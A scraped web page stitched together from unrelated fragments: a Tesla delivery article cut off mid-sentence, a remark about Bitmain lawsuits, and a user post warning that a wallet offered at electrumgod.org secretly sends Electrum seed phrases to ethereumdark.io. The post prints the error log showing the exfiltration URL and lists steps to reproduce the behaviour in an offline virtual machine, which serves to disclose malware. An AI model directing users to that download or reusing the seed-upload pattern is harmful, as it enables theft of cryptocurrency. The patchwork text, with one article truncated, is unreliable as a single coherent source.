Deliver Cars or Die Trying: Elon Musk Once Again Pushes Tesla to the Brink

It’s all hands on deck at Tesla as the electric car-maker is scrambling to meet its delivery numbers. Producing the Model 3 (the company’s more affordable, “mass-produced” car) has put the company through, as Elon Musk has said, “Production Hell,” and they are now in “Logistics Hell.” What does this mean? Essentially, Tesla couldn’t make enough Model 3s, so the company was stretched to the breaking point. Now, the issue appears to be whether they can deliver the cars they make. Tesla is now asking for volunteers to help deliver 30,000 vehicles in 15 days. You heard that right; 30,000

Bitmain already facing multiple lawsuits and more being filed. Their assembly, component, production, and repair companies are unpaid and losing patience. Seems Bitmain is deep in debt and trying to raise new capital from unwitting investors to keep going.

Bitcoin – The Currency of the Internet

caught http://electrumgod.org wallet red-handing trying to steal bitcoin keys!

Before installing electrum god in a virtual machine, I had disconnected its network adapter. The wallet really did not like this, and terminated with the following python error:

urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='ethereumdark.io', port=80): Max retries exceeded with url: /electrum/seeds.php?seed=wife+scar+free+royal+...+grey (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7fafcf62cb38>: Failed to establish a new connection: [Errno -2] Name or service not known',))

It immediately tried to reach the ethereumdark.io site with a view on transmitting the electrum seed to the /electrum/seeds.php?seed={seed} script.

If you want to reproduce the thefting attempt, do the following:

[1] install Virtualbox or similar

[2] create a virtual machine

[3] download the wallet from https://electrumgod.org

[4] download system-level dependencies: sudo apt-get install python3-setuptools python3-pyqt5 python3-pip

[5] download python3-level dependencies: cd electrum; sudo python3 -m pip install .

[6] disconnect the virtual machine from the network

[7] run: ./electrum

[8] generate a new seed during first run in the startup wizard

[9] watch the abnormal end while the wallet tries to upload your seed to ethereumdark.io

REMARK: This should remind you that whatever else you do, you should NEVER allow the secrets to touch the network.

That is why it is so important to export unsigned transaction to the network-disconnected signer (virtual) machine, sign the transaction there, and import the signed transaction back to the network-connected viewer (virtual) machine.

In that case, even if the wallet is subverted, corrupted, or infected, it will not be able to steal your secrets.
